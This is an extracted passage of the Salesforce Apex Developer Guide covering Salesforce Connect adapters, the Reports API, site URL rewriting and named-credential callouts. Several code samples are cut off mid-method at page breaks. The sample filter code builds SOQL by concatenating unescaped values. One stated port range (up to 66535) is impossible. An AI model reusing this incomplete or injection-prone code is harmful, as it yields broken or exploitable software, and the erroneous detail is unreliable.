* Helper method to create default query.
541
Apex Developer Guide Using Salesforce Features with Apex
**/
private String getSoqlQuery(DataSource.QueryContext context) {
String baseQuery =
'SELECT Id,Name,NumberOfEmployees FROM Account';
String filter = getSoqlFilter('',
context.tableSelection.filter);
if (filter.length() > 0)
return baseQuery + ' WHERE ' + filter;
return baseQuery;
}
/**
* Helper method to handle query filter.
**/
private String getSoqlFilter(String query,
DataSource.Filter filter) {
if (filter == null) {
return query;
}
String append;
DataSource.FilterType type = filter.type;
List<Map<String,Object>> retainedRows =
new List<Map<String,Object>>();
if (type == DataSource.FilterType.NOT_) {
DataSource.Filter subfilter = filter.subfilters.get(0);
append = getSoqlFilter('NOT', subfilter);
} else if (type == DataSource.FilterType.AND_) {
append =
getSoqlFilterCompound('AND', filter.subfilters);
} else if (type == DataSource.FilterType.OR_) {
append =
getSoqlFilterCompound('OR', filter.subfilters);
} else {
append = getSoqlFilterExpression(filter);
}
return query + ' ' + append;
}
/**
* Helper method to handle query subfilters.
**/
private String getSoqlFilterCompound(String operator,
List<DataSource.Filter> subfilters) {
String expression = ' (';
boolean first = true;
for (DataSource.Filter subfilter : subfilters) {
if (first)
first = false;
else
expression += ' ' + operator + ' ';
expression += getSoqlFilter('', subfilter);
}
expression += ') ';
return expression;
542
Apex Developer Guide Using Salesforce Features with Apex
/**
* Helper method to handle query filter expressions.
**/
private String getSoqlFilterExpression(
DataSource.Filter filter) {
String columnName = filter.columnName;
String operator;
Object expectedValue = filter.columnValue;
if (filter.type == DataSource.FilterType.EQUALS) {
operator = '=';
} else if (filter.type ==
DataSource.FilterType.NOT_EQUALS) {
operator = '<>';
} else if (filter.type ==
DataSource.FilterType.LESS_THAN) {
operator = '<';
} else if (filter.type ==
DataSource.FilterType.GREATER_THAN) {
operator = '>';
} else if (filter.type ==
DataSource.FilterType.LESS_THAN_OR_EQUAL_TO) {
operator = '<=';
} else if (filter.type ==
DataSource.FilterType.GREATER_THAN_OR_EQUAL_TO) {
operator = '>=';
} else if (filter.type ==
DataSource.FilterType.STARTS_WITH) {
return mapColumnName(columnName) +
' LIKE \'' + String.valueOf(expectedValue) + '%\'';
} else if (filter.type ==
DataSource.FilterType.ENDS_WITH) {
return mapColumnName(columnName) +
' LIKE \'%' + String.valueOf(expectedValue) + '\'';
} else if (filter.type ==
DataSource.FilterType.LIKE_) {
return mapColumnName(columnName) +
' LIKE \'' + String.valueOf(expectedValue) + '\'';
} else {
throwException(
'Implementing other filter types is left as an exercise for the reader: '
+ filter.type);
}
return mapColumnName(columnName) +
' ' + operator + ' ' + wrapValue(expectedValue);
}
/**
* Helper method to map column names.
**/
private String mapColumnName(String apexName) {
if (apexName.equalsIgnoreCase('ExternalId'))
return 'Id';
543
Apex Developer Guide Using Salesforce Features with Apex
if (apexName.equalsIgnoreCase('DisplayUrl'))
return 'Id';
return apexName;
}
/**
* Helper method to wrap expression Strings with quotes.
**/
private String wrapValue(Object foundValue) {
if (foundValue instanceof String)
return '\'' + String.valueOf(foundValue) + '\'';
return String.valueOf(foundValue);
}
}
LoopbackDataSourceProvider Class
/**
* Extends the DataSource.Provider base class to create a
* custom adapter for Salesforce Connect. The class informs
* Salesforce of the functional and authentication
* capabilities that are supported by or required to connect
* to an external system.
**/
global class LoopbackDataSourceProvider
extends DataSource.Provider {
/**
* Declares the types of authentication that can be used
* to access the external system.
**/
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
capabilities.add(
DataSource.AuthenticationCapability.BASIC);
return capabilities;
}
/**
* Declares the functional capabilities that the
* external system supports.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities =
new List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
return capabilities;
}
544
Apex Developer Guide Using Salesforce Features with Apex
/**
* Declares the associated DataSource.Connection class.
**/
override global DataSource.Connection
getConnection(DataSource.ConnectionParams connectionParams) {
return new LoopbackDataSourceConnection();
}
}
StackOverflowDataSourceConnection Class
/**
* Defines the connection to Stack Exchange API v2.2 to support
* querying of Stack Overflow users (stackoverflowUser)
* and posts (stackoverflowPost).
* Extends the DataSource.Connection class to enable
* Salesforce to sync the external system’s schema
* and to handle queries of the external data.
**/
global class StackOverflowDataSourceConnection extends
DataSource.Connection {
private DataSource.ConnectionParams connectionInfo;
/**
* Constructor for StackOverflowDataSourceConnection
**/
global StackOverflowDataSourceConnection(
DataSource.ConnectionParams connectionInfo) {
this.connectionInfo = connectionInfo;
}
/**
* Defines the schema for the external system.
* Called when the administrator clicks “Validate and Sync”
* in the user interface for the external data source.
**/
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
545
Apex Developer Guide Using Salesforce Features with Apex
postColumns.add(DataSource.Column.externalLookup(
'owner_id', 'stackoverflowUser__x'));
postColumns.add(DataSource.Column.text('title', 255));
postColumns.add(DataSource.Column.text('view_count', 255));
postColumns.add(DataSource.Column.text('question_id',255));
postColumns.add(DataSource.Column.text('creation_date',255));
postColumns.add(DataSource.Column.text('score',255));
postColumns.add(DataSource.Column.url('link'));
postColumns.add(DataSource.Column.url('DisplayUrl'));
postColumns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('stackoverflowPost','title',
postColumns));
tables.add(DataSource.Table.get('stackoverflowUser',
'Display_name', userColumns));
return tables;
}
/**
* Called to query and get results from the external
* system for SOQL queries, list views, and detail pages
* for an external object that’s associated with the
* external data source.
*
* The QueryContext argument represents the query to run
* against a table in the external system.
*
* Returns a list of rows as the query results.
**/
override global DataSource.TableResult query(
DataSource.QueryContext context) {
DataSource.Filter filter = context.tableSelection.filter;
String url;
546
Apex Developer Guide Using Salesforce Features with Apex
/**
* Filters, sorts, and applies limit and offset clauses.
**/
List<Map<String, Object>> rows =
DataSource.QueryUtils.process(context, getData(url));
return DataSource.TableResult.get(true, null,
context.tableSelection.tableSelected, rows);
}
/**
* Helper method to parse the data.
* The url argument is the URL of the external system.
* Returns a list of rows from the external system.
**/
public List<Map<String, Object>> getData(String url) {
547
Apex Developer Guide Using Salesforce Features with Apex
/**
* Checks errors.
**/
Map<String, Object> error =
(Map<String, Object>)responseBodyMap.get('error');
if (error!=null) {
List<Object> errorsList =
(List<Object>)error.get('errors');
Map<String, Object> errors =
(Map<String, Object>)errorsList[0];
String errorMessage = (String)errors.get('message');
throw new
DataSource.OAuthTokenExpiredException(errorMessage);
}
List<Object> fileItems=
(List<Object>)responseBodyMap.get('items');
if (fileItems != null) {
for (Integer i=0; i < fileItems.size(); i++) {
Map<String, Object> item =
(Map<String, Object>)fileItems[i];
rows.add(createRow(item));
}
} else {
rows.add(createRow(responseBodyMap));
}
return rows;
}
/**
* Helper method to populate the External ID and Display
* URL fields on external object records based on the 'id'
* value that’s sent by the external system.
*
* The Map<String, Object> item parameter maps to the data
* that represents a row.
*
* Returns an updated map with the External ID and
* Display URL values.
**/
public Map<String, Object> createRow(
Map<String, Object> item) {
Map<String, Object> row = new Map<String, Object>();
for ( String key : item.keySet() ) {
if (key.equals('question_id') || key.equals('user_id')) {
548
Apex Developer Guide Using Salesforce Features with Apex
row.put('ExternalId', item.get(key));
} else if (key.equals('link')) {
row.put('DisplayUrl', item.get(key));
} else if (key.equals('owner')) {
Map<String, Object> ownerMap =
(Map<String, Object>)item.get(key);
row.put('owner_id', ownerMap.get('user_id'));
}
row.put(key, item.get(key));
}
return row;
}
/**
* Helper method to make the HTTP GET call.
* The url argument is the URL of the external system.
* Returns the response from the external system.
**/
public String getResponse(String url) {
// Perform callouts for production (non-test) results.
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
HttpResponse response = httpProtocol.send(request);
return response.getBody();
}
}
StackOverflowPostDataSourceProvider Class
/**
* Extends the DataSource.Provider base class to create a
* custom adapter for Salesforce Connect. The class informs
* Salesforce of the functional and authentication
* capabilities that are supported by or required to connect
* to an external system.
**/
global class StackOverflowPostDataSourceProvider
extends DataSource.Provider {
/**
* For simplicity, this example declares that the external
* system doesn’t require authentication by returning
* AuthenticationCapability.ANONYMOUS as the sole entry
* in the list of authentication capabilities.
**/
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
549
Apex Developer Guide Using Salesforce Features with Apex
return capabilities;
}
/**
* Declares the functional capabilities that the
* external system supports, in this case
* only SOQL queries.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities =
new List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
return capabilities;
}
/**
* Declares the associated DataSource.Connection class.
**/
override global DataSource.Connection getConnection(
DataSource.ConnectionParams connectionParams) {
return new
StackOverflowDataSourceConnection(connectionParams);
}
}
550
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
Apex Reference Guide: Reports Namespace
In addition, the following restrictions apply to the Reports and Dashboards API via Apex.
• Asynchronous report calls are not allowed in batch Apex.
• Report calls are not allowed in Apex triggers.
• There is no Apex method to list recently run reports.
551
Apex Developer Guide Using Salesforce Features with Apex
• The number of report rows processed during a synchronous report run count towards the governor limit that restricts the total
number of rows retrieved by SOQL queries to 50,000 rows per transaction. This limit is not imposed when reports are run
asynchronously.
• In Apex tests, report runs always ignore the SeeAllData annotation, regardless of whether the annotation is set to true or
false. This means that report results will include pre-existing data that the test didn’t create. There is no way to disable the
SeeAllData annotation for a report execution. To limit results, use a filter on the report.
• In Apex tests, asynchronous report runs will execute only after the test is stopped using the Test.stopTest method.
Note: All limits that apply to reports created in the report builder also apply to the API. For more information, see “Analytics Limits”
in the Salesforce online help.
Run Reports
You can run a report synchronously or asynchronously through the Salesforce Reports and Dashboards API via Apex.
Reports can be run with or without details and can be filtered by setting report metadata. When you run a report, the API returns data
for the same number of records that are available when the report is run in the Salesforce user interface.
Run a report synchronously if you expect it to finish running quickly. Otherwise, we recommend that you run reports through the
Salesforce API asynchronously for these reasons:
• Long-running reports have a lower risk of reaching the timeout limit when they are run asynchronously.
• The Salesforce Reports and Dashboards API via Apex can handle a higher number of asynchronous run requests at a time.
• Because the results of an asynchronously run report are stored for a 24-hour rolling period, they’re available for recurring access.
552
Apex Developer Guide Using Salesforce Features with Apex
Example: You can get the instance list by calling the ReportManager.getReportInstances method. For example:
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run a report
Reports.ReportResults results = Reports.ReportManager.runReport(reportId);
553
Apex Developer Guide Using Salesforce Features with Apex
// Get aggregates
System.debug('First aggregate: ' + rm.getAggregates()[0]);
System.debug('Second aggregate: ' + rm.getAggregates()[1]);
Example: To access data values of the fact map, you can map grouping value keys to the corresponding fact map keys. In the
following example, imagine that you have an opportunity report that’s grouped by close month, and you’ve summarized the
amount field. To get the value for the summary amount for the first grouping in the report:
1. Get the first down-grouping in the report by using the ReportResults.getGroupingsDown method and accessing
the first GroupingValue object.
2. Get the grouping key value from the GroupingValue object by using the getKey method.
3. Construct a fact map key by appending '!T'to this key value. The resulting fact map key represents the summary value for
the first down-grouping.
4. Get the fact map from the report results by using the fact map key.
5. Get the first summary amount value by using the ReportFact.getAggregates method and accessing the first
SummaryValue object.
6. Get the field value from the first data cell of the first row of the report by using the ReportFactWithDetails.getRows
method.
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
554
Apex Developer Guide Using Salesforce Features with Apex
// Get the field value from the first data cell of the first row of the report
Reports.ReportDetailRow detailRow = factDetails.getRows()[0];
System.debug(detailRow.getDataCells()[0].getLabel());
Filter Reports
To get specific results on the fly, you can filter reports through the API.
Changes to filters that are made through the API don’t affect the source report definition. Using the API, you can filter with up to 20
custom field filters and add filter logic (such as AND and OR). But standard filters (such as range), filtering by row limit, and cross filters
are unavailable.
Before you filter a report, it’s helpful to check the following filter values in the metadata.
• The ReportTypeColumn.getFilterable method tells you whether a field can be filtered.
• The ReportTypeColumn.filterValues method returns all filter values for a field.
• The ReportManager.dataTypeFilterOperatorMap method lists the field data types that you can use to filter the
report.
• The ReportMetadata.getReportFilters method lists all filters that exist in the report.
You can filter reports during synchronous or asynchronous report runs.
Example: To filter a report, set filter values in the report metadata and then run the report. The following example retrieves the
report metadata, overrides the filter value, and runs the report. The example:
1. Retrieves the report filter object from the metadata by using the ReportMetadata.getReportFilters method.
2. Sets the value in the filter to a specific date by using the ReportFilter.setValue method and runs the report.
3. Overrides the filter value to a different date and runs the report again.
The output for the example shows the differing grand total values, based on the date filter that was applied.
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
555
Apex Developer Guide Using Salesforce Features with Apex
filter.setValue('2013-10-01');
results = Reports.ReportManager.runReport(reportId, reportMd);
factSum = (Reports.ReportFactWithSummaries)results.getFactMap().get('T!T');
System.debug('Value for October: ' + factSum.getAggregates()[0].getLabel());
Summary <First level row grouping_second level row grouping_third level row
grouping>!T: T refers to the row grand total.
Matrix <First level row grouping_second level row grouping>!<First level column
grouping_second level column grouping>.
Each item in a row or column grouping is numbered starting with 0. Here are some examples of fact map keys:
0_0!T The first item in the first-level grouping and the first item in the second-level grouping.
0_1!T The first item in the first-level grouping and the second item in the second-level grouping.
Let’s look at examples of how fact map keys represent data as it appears in a Salesforce tabular, summary, or matrix report.
556
Apex Developer Guide Using Salesforce Features with Apex
1_0!T Summary of the probabilities for the Manufacturing opportunities in the Needs Analysis stage.
557
Apex Developer Guide Using Salesforce Features with Apex
0_0!0_0 Total opportunity amount in the Prospecting stage in the Manufacturing sector in October 2010.
2_1!1_1 Total value of opportunities in the Value Proposition stage in the Technology sector in February 2011.
Test Reports
Like all Apex code, Salesforce Reports and Dashboards API via Apex code requires test coverage.
The Reporting Apex methods don’t run in system mode, they run in the context of the current user (also called the context user or the
logged-in user). The methods have access to whatever the current user has access to.
In Apex tests, report runs always ignore the SeeAllData annotation, regardless of whether the annotation is set to true or false.
This means that report results will include pre-existing data that the test didn’t create. There is no way to disable the SeeAllData
annotation for a report execution. To limit results, use a filter on the report.
Note: In Apex tests, asynchronous reports execute only after the test is stopped using the Test.stopTest method.
@isTest
public class ReportsInApexTest{
@isTest(SeeAllData='true')
public static void testAsyncReportWithTestData() {
558
Apex Developer Guide Using Salesforce Features with Apex
Reports.ReportMetadata reportMetadata =
Reports.ReportManager.describeReport(reportId).getReportMetadata();
// Add a filter.
List<Reports.ReportFilter> filters = new List<Reports.ReportFilter>();
Reports.ReportFilter newFilter = new Reports.ReportFilter();
newFilter.setColumn('OPPORTUNITY_NAME');
newFilter.setOperator('equals');
newFilter.setValue('ApexTestOpp');
filters.add(newFilter);
reportMetadata.setReportFilters(filters);
Test.startTest();
Reports.ReportInstance instanceObj =
Reports.ReportManager.runAsyncReport(reportId,reportMetadata,false);
String instanceId = instanceObj.getId();
instanceObj = Reports.ReportManager.getReportInstance(instanceId);
System.assertEquals(instanceObj.getStatus(),'Success');
Reports.ReportResults result = instanceObj.getReportResults();
Reports.ReportFact grandTotal = (Reports.ReportFact)result.getFactMap().get('T!T');
System.assertEquals(1,(Decimal)grandTotal.getAggregates().get(1).getValue());
}
@isTest(SeeAllData='true')
public static void testSyncReportWithTestData() {
Reports.ReportMetadata reportMetadata =
Reports.ReportManager.describeReport(reportId).getReportMetadata();
// Add a filter.
559
Apex Developer Guide Using Salesforce Features with Apex
Reports.ReportResults result =
Reports.ReportManager.runReport(reportId,reportMetadata,false);
Reports.ReportFact grandTotal = (Reports.ReportFact)result.getFactMap().get('T!T');
System.assertEquals(1,(Decimal)grandTotal.getAggregates().get(1).getValue());
}
}
Salesforce Sites
Salesforce Sites lets you build custom pages and Web applications by inheriting Lightning Platform capabilities including analytics,
workflow and approvals, and programmable logic.
You can manage your Salesforce sites in Apex using the methods of the Site and Cookie classes.
SEE ALSO:
Apex Reference Guide: Site Class
560
Apex Developer Guide Using Salesforce Features with Apex
Consider the following restrictions and recommendations as you create your Apex class:
Class and Methods Must Be Global
The Apex class and methods must all be global.
Class Must Include Both Methods
The Apex class must implement both the mapRequestUrl and generateUrlFor methods. If you don't want to use one
of the methods, simply have it return null.
Rewriting Only Works for Visualforce Site Pages
Incoming URL requests can only be mapped to Visualforce pages associated with your site. You can't map to standard pages, images,
or other entities.
To rewrite URLs for links on your site's pages, use the !URLFOR function with the $Page merge variable. For example, the
following links to a Visualforce page named myPage:
<apex:outputLink value="{!URLFOR($Page.myPage)}"></apex:outputLink>
Note: Visualforce <apex:form> elements with forceSSL=”true” aren't affected by the urlRewriter.
561
Apex Developer Guide Using Salesforce Features with Apex
• cometd
• ex
• faces
• flash
• flex
• google
• home
• id
• ideas
• idp
• images
• img
• javascript
• js
• knowledge
• lightning
• login
• m
• mobile
• ncsphoto
• nui
• push
• resource
• saml
• sccommunities
• search
• secur
• services
• servlet
• setup
• sfc
• sfdc
• sfdc_ns
• sfsites
• site
• style
• vote
• WEB-INF
• widg
You can't use the following reserved strings at the end of a rewritten URL path:
562
Apex Developer Guide Using Salesforce Features with Apex
• /aura
• /auraFW
• /auraResource
• /AuraJLoggingRPCService
• /AuraJLVRPCService
• /AuraJRPCService
• /dbcthumbnail
• /HelpAndTrainingDoor
• /htmldbcthumbnail
• /l
• /m
• /mobile
Relative Paths Only
The PageReference.getUrl() method only returns the part of the URL immediately following the host name or site prefix (if any). For
example, if your URL is https://mycompany.my.salesforce-sites.com/sales/MyPage?id=12345, where
“sales” is the site prefix, only /MyPage?id=12345 is returned.
You can't rewrite the domain or site prefix.
Unique Paths Only
You can't map a URL to a directory that has the same name as your site prefix. For example, if your site URL is
https://acme.my.salesforce-sites.com/help, where “help” is the site prefix, you can't point the URL to
help/page. The resulting path, https://acme.my.salesforce-sites.com/help/help/page, would be
returned instead as https://acme.my.salesforce-sites.com/help/page.
Query in Bulk
For better performance with page generation, perform tasks in bulk rather than one at a time for the generateUrlFor method.
Enforce Field Uniqueness
Make sure the fields you choose for rewriting URLs are unique. Using unique or indexed fields in SOQL for your queries may improve
performance.
Note: If you have URL rewriting enabled on your site, all PageReferences are passed through the URL rewriter. PageReferences
with redirect set to true and a redirectCode other than 0 return redirected URLs instead of rewritten URLs.
Code Example
In this example, we have a simple site consisting of two Visualforce pages: mycontact and myaccount. Be sure you have “Read” permission
enabled for both before trying the sample. Each page uses the standard controller for its object type. The contact page includes a link
to the parent account, plus contact details.
563
Apex Developer Guide Using Salesforce Features with Apex
Before implementing rewriting, the address bar and link URLs showed the record ID (a random 15-digit string), illustrated in the “before”
figure. Once rewriting was enabled, the address bar and links show more user-friendly rewritten URLs, illustrated in the “after” figure.
The Apex class used to rewrite the URLs for these pages is shown in Example URL Rewriting Apex Class, with detailed comments.
The contact page uses the standard controller for contacts and consists of two parts. The first part links to the parent account using the
URLFOR function and the $Page merge variable; the second simply provides the contact details. Notice that the Visualforce page
doesn't contain any rewriting logic except URLFOR. This page should be named mycontact.
<apex:page standardController="contact">
<apex:pageBlock title="Parent Account">
<apex:outputLink value="{!URLFOR($Page.mycontact,null,
[id=contact.account.id])}">{!contact.account.name}
</apex:outputLink>
</apex:pageBlock>
<apex:detail relatedList="false"/>
</apex:page>
if(url.startsWith(CONTACT_PAGE)){
//Extract the name of the contact from the URL
//For example: /mycontact/Ryan returns Ryan
String name = url.substring(CONTACT_PAGE.length(),
url.length());
564
Apex Developer Guide Using Salesforce Features with Apex
// loop through all the urls once, finding all the valid ids
for(PageReference mySalesforceUrl : mySalesforceUrls){
//Get the URL of the page
String url = mySalesforceUrl.getUrl();
565
Apex Developer Guide Using Salesforce Features with Apex
Integer counter = 0;
if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
myFriendlyUrls.add(new PageReference(ACCOUNT_PAGE + accounts.get(counter).name));
counter++;
} else {
//If this doesn't start like an account page,
//don't do any transformations
myFriendlyUrls.add(mySalesforceUrl);
}
}
566
Apex Developer Guide Using Salesforce Features with Apex
2. The link to the parent account page from the contact page
3. The original URL for the link to the account page before rewriting, shown in the browser's status bar
Support Classes
Support classes allow you to interact with records commonly used by support centers, such as business hours and cases.
// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in the local timezone.
Datetime nextTime = BusinessHours.add(bh.id, startTime, 60 * 60 * 1000L);
567
Apex Developer Guide Using Salesforce Features with Apex
This example finds the time one business hour from startTime, returning the Datetime in GMT:
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in GMT.
Datetime nextTimeGmt = BusinessHours.addGmt(bh.id, startTime, 60 * 60 * 1000L);
The next example finds the difference between startTime and nextTime:
// Get the default business hours
BusinessHours bh = [select id from businesshours where IsDefault=true];
// Find the number of business hours milliseconds between startTime and endTime as
// defined by the default business hours. Will return a negative value if endTime is
// before startTime, 0 if equal, positive value otherwise.
Long diff = BusinessHours.diff(bh.id, startTime, endTime);
}
}
SEE ALSO:
Apex Reference Guide: BusinessHours Class
Apex Reference Guide: Cases Class
568
Apex Developer Guide Using Salesforce Features with Apex
Territory2.Name, Territory2.Territory2Model.Name
FROM UserTerritory2Association WHERE Id IN :Trigger.New];
569
Apex Developer Guide Integration and Apex Utilities
mail.setToAddresses(new String[]{'[email protected]'});
mail.setSubject('Users added to territories notification');
570
Apex Developer Guide Integration and Apex Utilities
Note: Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout
fails. Salesforce prevents calls to unauthorized network addresses.
If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. A named credential
specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named credentials,
see “Define a Named Credential” in the Salesforce Help.
Tip: Callouts enable Apex to invoke external web or HTTP services. Apex Web services allow an external application to invoke
Apex methods through Web services.
Note: If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. A named
credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named
credentials, see “Define a Named Credential” in the Salesforce Help.
To add a remote site setting:
1. From Setup, enter Remote Site Settings in the Quick Find box, then select Remote Site Settings.
2. Click New Remote Site.
3. Enter a descriptive term for the Remote Site Name.
4. Enter the URL for the remote site.
5. Optionally, enter a description of the site.
6. Click Save.
571
Apex Developer Guide Integration and Apex Utilities
Tip: For best performance, verify that your remote HTTPS encrypted sites have OCSP (Online Certificate Status Protocol) stapling
turned on.
Example: In the following Apex code, a named credential and an appended path specify the callout’s endpoint.
HttpRequest req = new HttpRequest();
req.setEndpoint('callout:My_Named_Credential/some_path');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());
The referenced named credential specifies the endpoint URL and an external credential that specifies authentication settings.
572
Apex Developer Guide Integration and Apex Utilities
The Apex code remains the same no matter what authentication you use. The authentication settings differ in the external credential,
which references an authentication provider that’s defined in the org.
573
Apex Developer Guide Integration and Apex Utilities
In contrast, let’s see what the Apex code looks like without a named credential. Notice that the code becomes more complex to
handle authentication, even if we stick with basic password authentication. Coding OAuth is even more complex and is an ideal
use case for named credentials.
HttpRequest req = new HttpRequest();
req.setEndpoint('https://my_endpoint.example.com/some_path');
req.setMethod('GET');
1. Custom Headers and Bodies of Apex Callouts That Use Named Credentials
Salesforce generates a standard authorization header for each callout to a named-credential-defined endpoint, but you can disable
this option. Your Apex code can also use merge fields to construct each callout’s HTTP header and body.
2. Merge Fields for Apex Callouts That Use Named Credentials
To construct the HTTP headers and request bodies of callouts to endpoints that are specified as named credentials, use these merge
fields in your Apex code.
SEE ALSO:
Invoking Callouts Using Apex
Salesforce Help: Named Credentials
Salesforce Help: Authentication Providers
Named Credentials Developer Guide: Get Started with Named Credentials
Named Credentials Developer Guide: Named Credential API Links
Custom Headers and Bodies of Apex Callouts That Use Named Credentials
Salesforce generates a standard authorization header for each callout to a named-credential-defined endpoint, but you can disable this
option. Your Apex code can also use merge fields to construct each callout’s HTTP header and body.
574
Apex Developer Guide Integration and Apex Utilities
This flexibility enables you to use named credentials in special situations. For example, some remote endpoints require security tokens
or encrypted credentials in request headers. Some remote endpoints expect usernames and passwords in XML or JSON message bodies.
Customize the callout headers and bodies as needed.
The Salesforce admin must set up the named credential to allow Apex code to construct headers or use merge fields in HTTP headers
or bodies. The following table describes these callout options for the named credential.
Field Description
Generate Authorization Header By default, Salesforce generates an authorization header and applies it to
each callout that references the named credential.
Deselect this option only if one of the following statements applies.
• The remote endpoint doesn’t support authorization headers.
• The authorization headers are provided by other means. For example, in
Apex callouts, the developer can have the code construct a custom
authorization header for each callout.
This option is required if you reference the named credential from an external
data source.
Allow Merge Fields in HTTP Header In each Apex callout, the code specifies how the HTTP header and request
Allow Merge Fields in HTTP Body body are constructed. For example, the Apex code can set the value of a
cookie in an authorization header.
These options enable the Apex code to use merge fields to populate the
HTTP header and request body with org data when the callout is made.
These options aren’t available if you reference the named credential from an
external data source.
SEE ALSO:
Merge Fields for Apex Callouts That Use Named Credentials
Salesforce Help: Named Credentials
575
Apex Developer Guide Integration and Apex Utilities
{!$Credential.AuthorizationMethod} Valid values depend on the authentication protocol of the named credential.
• Basic—password authentication
• Bearer—OAuth 2.0
• null—no authentication
{!$Credential.AuthorizationHeaderValue} Valid values depend on the authentication protocol of the named credential.
• Base-64 encoded username and password—password
authentication
• OAuth token—OAuth 2.0
• null—no authentication
{!$Credential.OAuthConsumerKey} Consumer key. Available only if the named credential uses OAuth
authentication.
When you use merge fields to construct HTTP headers and request bodies, keep these considerations in mind.
• To allow Apex code to use merge fields to populate the HTTP header and request body with org data when the callout is made, a
Salesforce admin must enable Allow Merge Fields in HTTP Header and Allow Merge Fields in HTTP Body on the named
credential. See Create or Edit a Named Credential in Salesforce Help.
• To access or input custom headers, use Connect REST API. See Named Credentials Resources in the Connect REST API Developer
Guide.
• When you use these merge fields in HTTP request bodies of callouts, you can apply the HTMLENCODE formula function to escape
special characters. The formula must start with HTMLENCODE, and other formula functions aren't supported. HTMLENCODE can’t
be used on merge fields in HTTP headers. This example escapes special characters that are in the credentials.
req.setBody('Username:{!HTMLENCODE($Credential.Username)}')
req.setBody('Password:{!HTMLENCODE($Credential.Password)}')
• When you use these merge fields in SOAP API calls, OAuth access tokens aren’t refreshed.
SEE ALSO:
Custom Headers and Bodies of Apex Callouts That Use Named Credentials
Named Credentials as Callout Endpoints
Knowledge Article: Named credential OAuth token doesn't get automatically refreshed with Salesforce SOAP API endpoint
576
Apex Developer Guide Integration and Apex Utilities
Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web services only
when necessary.
To generate an Apex class from a WSDL:
1. In the application, from Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click Generate from WSDL.
3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL document is
the basis for the Apex class you are creating.
Note: The WSDL document that you specify might contain a SOAP endpoint location that references an outbound port.
For security reasons, Salesforce restricts the outbound ports you can specify to one of the following:
• 80: This port only accepts HTTP connections.
• 443: This port only accepts HTTPS connections.
• 1024–66535 (inclusive): These ports accept HTTP or HTTPS connections.
4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each namespace in
the WSDL document and reports any errors. Parsing fails if the WSDL contains schema types or constructs that aren’t supported by
Apex classes, or if the resulting classes exceed the 1 million character limit on Apex classes. For example, the Salesforce SOAP API
WSDL cannot be parsed.
5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the same class
name for each namespace, Apex classes can be no more than 1 million characters total.
6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors from
other classes. The page also provides a link to view successfully generated code.
The successfully generated Apex classes include stub and type classes for calling the third-party Web service represented by the WSDL
document. These classes allow you to call the external Web service from Apex. For each generated class, a second class is created with
the same name and with a prefix of Async. The first class is for synchronous callouts. The second class is for asynchronous callouts. For
more information about asynchronous callouts, see Make Long-Running Callouts with Continuations.
Note the following about the generated Apex:
• If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated. For example,
limit in a WSDL document converts to limit_x in the generated Apex class. See Reserved Keywords. For details on handling
characters in element names in a WSDL that are not supported in Apex variable names, see Considerations Using WSDLs.
• If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements in an
inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual elements.
• Since periods (.) are not allowed in Apex class names, any periods in WSDL names used to generate Apex classes are replaced by
underscores (_) in the generated Apex code.
After you have generated a class from the WSDL, you can invoke the external service referenced by the WSDL.
Note: Before you can use the samples in the rest of this topic, you must copy the Apex class docSampleClass from Generated
WSDL2Apex Code and add it to your organization.
577
Apex Developer Guide Integration and Apex Utilities
Note: In API versions 16.0 and earlier, HTTP responses for callouts are always decoded using UTF-8, regardless of the Content-Type
header. In API versions 17.0 and later, HTTP responses are decoded using the encoding specified in the Content-Type header.
The following samples work with the sample WSDL file in Generated WSDL2Apex Code on page 582:
Tip: Instead of hardcoding the Authorization header value, use named credentials. Named credentials offer a declarative
